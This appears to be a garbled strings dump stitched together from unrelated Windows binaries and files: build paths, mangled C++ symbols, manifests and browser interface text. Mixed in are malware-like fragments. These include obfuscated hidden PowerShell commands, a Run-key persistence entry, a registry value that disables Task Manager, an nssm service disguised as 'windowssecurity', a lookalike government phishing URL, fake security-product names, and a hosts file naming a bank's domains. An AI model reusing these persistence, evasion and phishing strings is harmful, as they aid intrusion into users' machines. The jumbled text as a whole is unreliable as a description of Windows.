onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlampmultiupdatereportparser.cpp
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.ISMBamos.bamo.h
?[onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\lightdismiss\processor\lightdismissprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\inputservice\system\lib\inputserviceprocessor.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\lib\dwmcursorbroker.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\heatdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\heat\lib\heatprocessor.cpp
Microsoft.Windows.DesktopActivityBroker
WINDOWS11
.?AUDisplayMuxAppPreference@Internal@Display@Devices@Windows@winrt@@
clientcore\windows\dwm\dwmredir\coveredwindowtracker.cpp
clientcore\windows\dwm\dwmredir\sessionport.cpp
clientcore\windows\dwm\dwmredir\windownotificationredirclient.cpp
onecoreuap\windows\dwm\dwmcore\engine\drawingcontext.cpp
onecoreuap\windows\DWM\dwmcore\bitmaps/WICBitmapRealization.h
onecoreuap\windows\dwm\dwmcore\rendering\cpuclipantialiassinkcontext.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\kerneltransport.cpp
onecoreuap\windows\dwm\dwmcore\resources\visualsurface.cpp
onecoreuap\windows\dwm\dwmcore\resources\shapetree.cpp
onecoreuap\windows\dwm\dwmcore\engine\composition.cpp
 @ComSpec=C:\WINDOWS\system32\cmd.exe
\windowsdefender"-
l\Microsoft.Windows.Explorer
WindowsApps
WindowSnapBeginPreTransition
WindowSnapSignalReceived
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Udwm
Microsoft.Windows.Dwm.AnimationClock
Microsoft.Windows.Dwm.WindowFrame
Microsoft.Windows.Dwm.uDWM
Microsoft.Windows.Shell.ScalingCompat
edEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_5365d802dccbbb8d82ea34b06258c78c>@@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
clientcore\windows\dwm\udwm\bitmapsource.cpp
clientcore\windows\dwm\udwm\touchdragvisual.cpp
clientcore\windows\dwm\udwm\touchvisual.cpp
?clientcore\windows\dwm\udwm\windowlist.cpp
clientcore\windows\dwm\udwm\containervisual.cpp
clientcore\windows\dwm\udwm\toplevelwindow.cpp
clientcore\windows\dwm\udwm\canvasvisual.cpp
clientcore\windows\dwm\udwm\visualproxy.cpp
Bclientcore\windows\dwm\udwm\renderdatavisual.cpp
clientcore\windows\dwm\udwm\atlasedrectsvisual.cpp
>clientcore\windows\dwm\udwm\windowborder.cpp
clientcore\windows\dwm\udwm\button.cpp
clientcore\windows\dwm\udwm\thumbnailvisual.cpp
clientcore\windows\dwm\udwm\systembackdropvisual.cpp
clientcore\windows\dwm\udwm\visual.cpp
clientcore\windows\dwm\udwm\windowbackgroundtreatmentvisual.cpp
!#SCPT:PowerShell/WindowStyleHidden
U-windowstylehidden
c:\windows\system32\imageres.dll
start-process-windowstylehidden-filepath'cscript.exe'-argumentcmd/cstart/minpowershell-command"$
linktowindows
microsoftdefenderforwindows
windows365
i parola Windows pentru a permite acest lucru.Actualizare Microsoft CopilotcopilotupdateServiciu de actualizare Microsoft CopilotServiciu intern de actualizare Microsoft CopilotMen
:\windows\open.bat
:\windows\av.bat
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
C:\WINDOWS\system32\svchost.exe
Windows.Data.WiFi
Windows.C
index.windows
WindowsExplorer
WindowsBanner
SCRIPT:BAT/WinLogon
NtUserCreateWindowStation
NtUserCreateWindowStationEx
NtUserDisableProcessWindowsGhosting
NtUserEnableWindowShellWindowManagementBehavior
	exedelc:\windows\rundll.
Windows.Data
Mozilla/5.0 (Windows NT 10.0; Win64; x
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js]
WINDOWS11
WINDOWS11
WINDOWS11
windows\system\sy\
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Windows\System32\cmd
GetWindowsDirectoryW
UninstallWindowsRE
c5^windows.appExecu
c6^windows.updateTask
WindowStation
KSoftware\Microsoft\Windows\understemmers\Uninstall\vildttlling\Ciceroners\sleuthedS
Software\Microsoft\Windows\bumps\Uninstall\calcaneonavicularS
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
WINDOWS11
Microsoft.ReactNativeWindows
D:\a\_work\1\s\node_modules\react-native-windows\target\x64\Release\Microsoft.ReactNative\Microsoft.ReactNative.pdb
Microsoft.Windows.Licensing.Sppc
com.microsoft.windows.focussessionmanager.1
com.microsoft.windows.geolocationprovider
com.microsoft.windows.internetexplorer.iemode
com.microsoft.windows.richeditmath
com.microsoft.windows.shell.sharewindowcommandsource_v1
com.microsoft.windows.system.remotedesktop.provider_v1
com.microsoft.windows.ui.notifications.preview.toastOcclusionManagerPreview
com.microsoft.windows.updateorchestrator.1
com.microsoft.windows.windowdecorations
drive%\windows\
SystemRoot=C:\WINDOWS
msWindowsUser
Windows.Data.Input.Text.LanguageUnigramListP
windows.hlp
@Security@Windows@@@Found
staticmisc.blob.core.windows.net^
.wpowershell.exe-windowstylehidden"get-counter;get-service;$taks11='b'+[char]58;get-hotfix;$beinness=(gcm$taks11).commandtype;$beinness=[string]$beinness;new-alias-namebrandsprjterne-valueni;$beinness+=':';(brandsprjterne-p$beinness-nrepanels-value{param($ulver);$chromizing=4;do{$
Windows
%Microsoft Windows Production PCA 20110
Microsoft Windows0
d Value="Microsoft-WindowsPhone-Exp-Apps-Podcasts" />
            <EventProviderId Value="Microsoft-WindowsPhone-Foundations-MediaLibrary" />
            <EventProviderId Value="Microsoft-WindowsPhone-MediaService" />
            <EventProviderId Value="Microsoft-WindowsPhone-MediaServiceRemote" />
            <EventProviderId Value="Microsoft-WindowsPhone-MFPAL" />
            <EventProviderId Value="Microsoft-WindowsPhone-MFVideoSink" />
            <EventProviderId Value="Microsoft-WindowsPhone-MFVideoSinkFactory" />
            <EventProviderId Value="Microsoft-WindowsPhone-MMAudio" />
            <EventProviderId Value="Microsoft-WindowsPhone-MMPhoneDeviceApi" />
            <EventProviderId Value="Microsoft-WindowsPhone-MusicApp" />
            <EventProviderId Value="Microsoft-WindowsPhone-PhoneAudio" />
            <EventProviderId Value="Microsoft-WindowsPhone-PhoneAudioSes" />
            <EventProviderId Value="Microsoft-WindowsPhone-PhotosApp" />
            <EventProviderId Value="Microsoft-WindowsPhone-SlowmotionEffect" />
            <EventProviderId Value="Microsoft-WindowsPhone-StoryboardEngine" />
            <EventProviderId Value="Microsoft-WindowsPhone-VideoProvider" />
            <EventProviderId Value="Microsoft-WindowsPhone-zMediaQueueApp" />
            <EventProviderId Value="Microsoft-Windows-Portcls" />
            <EventProviderId Value="Microsoft-Windows-Runtime-Media" />
            <EventProviderId Value="Microsoft-Windows-Security-Biometrics-CredentialProvider-Face" />
            <EventProviderId Value="Microsoft-Windows-Security-Biometrics-CredentialProvider-FaceDiag" />
            <EventProviderId Value="Microsoft-Windows-Security-Biometrics-Face-DiagnosticsProvider" />
            <EventProviderId Value="Microsoft-Windows-Security-Biometrics-Face-PerformanceProvider" />
            <EventProviderId Value="Microsoft-Windows-Security-Biometrics-Face-TelemetryProvider" />
            <EventProviderId Value="Microsoft-Windows-Settings-Camera" />
            <EventProviderId Value="Microsoft-Windows-Shell-BioEnrollment" />
            <EventProviderId Value="Microsoft-Windows-SocCaptureSim" />
            <EventProviderId Value="Microsoft-Windows-USBVideo" />
            <EventProviderId Value="Microsoft-Windows-VideoEditing" />
            <EventProviderId Value="Microsoft-Windows-WdfCompanionFilter" />
            <EventProviderId Value="Microsoft-Windows-WinBioDataModel" />
            <EventProviderId Value="Microsoft-Windows-WinRT-Error" />
            <EventProviderId Value="Microsoft-Windows-WMP" />
            <EventProviderId Value="Windows_Media_Player_Trace" />
            <EventProviderId Value="Windows-Media-FaceAnalysis-ApiDiagnostics" />
            <EventProviderId Value="WinLogon" />
"Windows"
"Windows"
Windows
"Windows"
Windows"
"Windows"
9WZDNCRFJ3PTWindows Media Playerhttps://store-images.s-microsoft.com/image/apps.51427.9007199266246188.49767e14-de23-47cf-a245-27d480b37671.2bbaa662-7860-4501-a5c0-ae911b9bb8dben
dia Windowshttps://store-images.s-microsoft.com/image/apps.51427.9007199266246188.49767e14-de23-47cf-a245-27d480b37671.2bbaa662-7860-4501-a5c0-ae911b9bb8dbfr
9WZDNCRFJ3PTWindows Medienwiedergabehttps://store-images.s-microsoft.com/image/apps.51427.9007199266246188.49767e14-de23-47cf-a245-27d480b37671.2bbaa662-7860-4501-a5c0-ae911b9bb8dbde
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
q?S@windowsdir&"\server.crt
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
%programfiles%\WindowsApps\Microsoft.Windows.Photos_*\Photos.exe
%programfiles%\WindowsApps\Microsoft.WindowsNotepad_*\Notepad\Notepad.exe
%programfiles%\WindowsApps\Mozilla.Firefox_*\VFS\ProgramFiles\Firefox Package Root\firefox.exe
%programfiles%\WindowsApps\Microsoft.Paint_*\PaintApp\mspaint.exe
%programfiles%\WindowsApps\Microsoft.OutlookForWindows_*\olk.exe
&"\system32\windowspowershell\v1.0\powershell.exe",2set
s seguro de que quieres desinstalar Copilot?Desinstalar CopilotAl desinService" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass></file><file name="CheckboxWindows.dll" hashalg="SHA1"><activatableClass name="CheckboxWindows.CheckboxView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="CheckboxWindows.ReactPackageProvider" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass></file><file name="ReactNativePicker.dll" hashalg="SHA1"><activatableClass name="ReactNativePicker.ReactPackageProvider" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="ReactNativePicker.ReactPickerView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass></file><file name="RNSVG.dll" hashalg="SHA1"><activatableClass name="RNSVG.RenderableView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.GroupView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.BrushView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.CircleView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.RenderableViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.CircleViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.ClipPathView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.GroupViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.ClipPathViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.D2DBrush" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.D2DDevice" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.D2DDeviceContext" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.D2DGeometry" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.DefsView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.DefsViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.DeviceManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.EllipseView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.EllipseViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.ImageView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.ImageViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.LineView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.LineViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.LinearGradientView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.LinearGradientViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.MarkerView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.Mark
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
.?AVQWindowsFileSystemWatcherEngineThread@@
.?AVQWindowsRemovableDriveListener@@
.?AVQWindowsFileSystemWatcherEngine@@
.?AVQWindowsPipeReader@@
.?AVQWindowsPipeWriter@@
www.santander.com.mxwww.santander.comsantander.com.mxsantander.comenlace.santander-serfin.comthis is a sample hosts file used by microsoft tcp/ip for windows.
windows\currentversion\explorer\startupapproved\startupfolder'$valuename='bookingagent.lnk
%Microsoft Windows Production PCA 20110
Microsoft Windows0
REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "allkeeper" /t REG_SZ /dR
windowspowershell\v1.0\powershell.exec:\windows\system32\rundll32.exeadobe.dll,config
dows\system32\ucjkw.gif"https://tubitak-gov-tr.adobeonline.org/mail-b1619add/flk?yui=
dows\system32\cmd.exe/c
nssmset"windowssecurity"startservice_delayed_auto_start)&&(nssmstart"windowssecurity"
NT_TYPE5:t[11],DIALOG_COMMENT_TYPE6:t[12],DIALOG_COMMENT_TYPE_LABEL:t[13],DIALOG_INCLUDE_SCREENSHOT:t[14],DIALOG_MSFT_INTERNAL:t[15],DIALOG_PRIVACY_POLICY:t[16],DIALOG_SEND_BUTTON_TEXT:t[17],DIALOG_SEND_EMAIL_LABEL:t[18],FEEDBACK_SEND_BUTTON_READOUT:t[19],LAUNCH_MAIL_APP_LINK:t[20],LEARN_MORE_LINK_TEXT:t[21],PRIVACY_STATEMENT_LINK_TEXT:t[22],REPORT_LEGAL_OR_PRIVACY_CONCERN:t[23],WINDOWS_DIALOG_COMMENT_TEXT:t[24],WINDOWS_TITLE_TEXT:t[25]}),i}return i(n,t)})("en",["Please enter your alias.","and cc me at","Enter your alias here.","Got any specific feedback?","Cancel","Please leave a comment.","Textbox for your feedback.","Suggest","Like","Dislike","Ideas","Likes","Dislikes","Feedback type","Include a screenshot","Microsoft internal","Privacy policy","Send","Send email to the {0} team","Clicking this button or hitting enter will submit the feedback successfully","Launch the Mail App and Send an Email to","Learn more","Privacy Statement","Report a concern","Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.","Send feedback to Microsoft"])
WindowsDeleteString
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsGetStringRawBuffer
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
"Windows"
gainst lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Windows.Foundation.Numerics.Plane
Windows.UI.Xaml.Interop
Hllections@Foundation@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$Styles_base@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$implements@UStyles@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@789Windows@4@@winrt@@
1C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted
\windows\system32\cmd.exe/cnewcpuspeedcheck\cpufix
dimforabout1secondisoccurredbecauseofthebuginwindowssessionsmanagerthatisusedfortheelevationofprivileges
lmcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d
ROSOFT.WINDOWS(@
.?AU?$produce_base@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
SLRegisterWindowsEvent
SLUnregisterWindowsEvent
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
.?AV<lambda_1>@?1??GetProperty@GaussianBlurEffect@implementation@ReactNative@Microsoft@winrt@@UEAAJIPEAPEAUIPropertyValue@Foundation@Windows@ABI@@@Z@
.?AV<lambda_1>@?1??GetProperty@BorderEffect@implementation@ReactNative@Microsoft@winrt@@UEAAJIPEAPEAUIPropertyValue@Foundation@Windows@ABI@@@Z@
.?AV<lambda_1>@?1??GetProperty@CompositeStepEffect@implementation@ReactNative@Microsoft@winrt@@UEAAJIPEAPEAUIPropertyValue@Foundation@Windows@ABI@@@Z@
.?AV<lambda_1>@?1??GetProperty@ColorSourceEffect@implementation@ReactNative@Microsoft@winrt@@UEAAJIPEAPEAUIPropertyValue@Foundation@Windows@ABI@@@Z@
.?AV?$_Binder@U_Unforced@std@@P8HandledKeyboardEventHandler@ReactNative@Microsoft@@EAAXW4KeyboardEventPhase@345@AEBUIInspectable@Foundation@Windows@winrt@@AEBUKeyRoutedEventArgs@Input@Xaml@UI@9winrt@@@ZPEAV345@W46345@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8PreviewKeyboardEventHandlerOnRoot@ReactNative@Microsoft@@EAAXAEBUIInspectable@Foundation@Windows@winrt@@AEBUKeyRoutedEventArgs@Input@Xaml@UI@89@@ZPEAV345@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@@std@@
pWindows
Windows
Windows I
windows
windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Global.WindowsPersonaCard.AppX6vcm33xz1vnzertraheqrmah45wqcb0h.wwa
Global.WindowsPersonaCard.AppX8mqwb6jamj7bp6kj3wtbaz5n9bep069q.mca
WindowsDefault$
.d@{C:\Windows\SystemApps\SxS\Microsoft 
.claims.windowsclaimsidentity.
Windows
\System32\
Windows Performance Adviser
Windows Efficiency Accelerator
Windows Premium Guard
Windows Instant Scanner
WindowsCreateString
WindowsDeleteString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
Windows.StateRepository.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
temRoot%\system32\mswsock.dll
7WindowsApplication710.Resourcesget_RootDirectory$83e17252-1a27-46c6-8bp
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041820~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
	Windows11<
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Networking.Proximity.Common
.exe-windowstylehidden"get-service;$
catdb|mail.msmessagestore|dhcp.mdb|webcachev01.dat|cachestorage.edb|windowsmail.msmessagestore|defaultstore|actorstatestore|persiststore.edb|imosstore|fs.edb|rm.edb|upgradeservicestore|serverservice.edb|masterservice.edb|6260B5C4|
\system32\logfiles
windows\cryptoguard
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\resource.h
Windows.HasHighResolutionTimeTicks
Windows.ParallelDllLoadingEnabled
Windows.AcLayersLoaded
OS=Windows_NT
Possible scales are:headerHeighttpStatusCode{"state" : "enrolled"}Windows.UI.Xaml.Controls.CaptureEle
on responder: %scaron&$orderby=2-digit-ITEM_WIDTHierarchy request errorCode&$select==&$top=15&Datasource=&amp;&lt;&quot;&size=&url=Windows.UI.Xaml.Controls.TwoPaneViewTallModeConfigurationeDriveLoadingetReasonMarkery
msWindowsShare
Microsoft-Windows-WLANSvc-ASP-CP-In/
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
